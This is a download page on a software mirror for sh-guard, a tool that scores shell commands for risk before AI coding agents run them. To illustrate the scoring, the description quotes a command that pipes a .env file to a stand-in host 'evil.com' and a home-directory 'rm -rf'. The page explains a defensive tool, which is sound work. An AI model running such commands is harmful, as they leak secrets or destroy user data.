sh-guard0.1.10
Semantic shell command safety classifier for AI coding agents
v0.1.10
1.8 MBscanned clean
Verify your download
Select the file you downloaded to check it against the hash we published — the check runs in your browser, nothing is uploaded.
About
sh-guard evaluates a shell command before an AI coding agent executes it, producing a risk score that can stop dangerous operations before they run. It parses commands into abstract syntax trees (ASTs), traces data flow across pipelines, and applies a three-layer analysis pipeline in under 100 microseconds, with simple commands taking about 7 microseconds. This semantic approach distinguishes cat .env, scored at 5, from cat .env | curl -d @- evil.com, scored at 100 because it recognizes the latter as a critical data-exfiltration path rather than merely matching text patterns.
It also considers context: rm -rf ./build inside a project receives a lower score than rm -rf ~/, while each identified risk maps to a MITRE ATT&CK technique for security-team workflows. Exit codes make classifications usable in automation, and sh-guard --setup automatically detects and configures installed agents; sh-guard --uninstall removes that setup. Claude Code, Codex, Cursor, Cline, and Windsurf can use it, while its MCP server provides sh_guard_classify for one command and sh_guard_batch for multiple commands.
Python integrations include LangChain, CrewAI, and AutoGen, while Node.js integrations include the Vercel AI SDK and custom agents. The npm package supplies napi bindings that must be built from source with a Rust toolchain; prebuilt .node binaries are not published to npm, and the CLI uses the separate sh-guard-cli package. Prebuilt binaries target macOS ARM/x64, Linux x64/ARM64, and Windows x64, with project guidance covering new rules and vulnerability reports.
Version 0.1.10 runs on x64 Windows 8 or later and Windows Server 2012 or later. sh-guard is open-source software for developers and security teams adding command-safety controls to autonomous coding workflows.
Requires Windows 8+ · Server 2012+ · Architecture: x64
Details
SHA-256
Does this still work for you?
Badge for your website
Developers can show that sh-guard is available on MirrorNest. Copy the code below: the badge links to this page and updates itself.
<a href="https://mirrornest.com/software/sh-guard-9e1c160a"><img src="https://mirrornest.com/badge/sh-guard-9e1c160a.svg" alt="sh-guard on MirrorNest" height="20"></a>[](https://mirrornest.com/software/sh-guard-9e1c160a)Reviews
No reviews yet — be the first.
sh-guard alternatives
VectorCraft
Vector illustration; an open-source, clean-room reimplementation of Adobe Illustrator, rebuilt in pure Rust
Hysteria
A powerful, lightning fast and censorship resistant proxy.
dotMemory Unit Standalone Launcher
Effective memory usage in .NET applications with dotMemory Unit
GamebarHandler
Gets rid of those pesky 'open ms-gamebar' and 'open ms-gamingoverlay' popups.
ShareX
ShareX is a free and open-source application that enables users to capture or record any area of their screen with a single keystroke. It also supports uploading images, text, and various file types to a wide range of destinations.
cerebro-es (Install)
elasticsearch web admin tool